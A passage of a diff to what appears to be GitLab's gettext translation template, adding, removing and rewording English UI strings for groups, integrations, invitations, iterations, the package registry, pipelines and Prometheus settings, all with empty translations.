+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
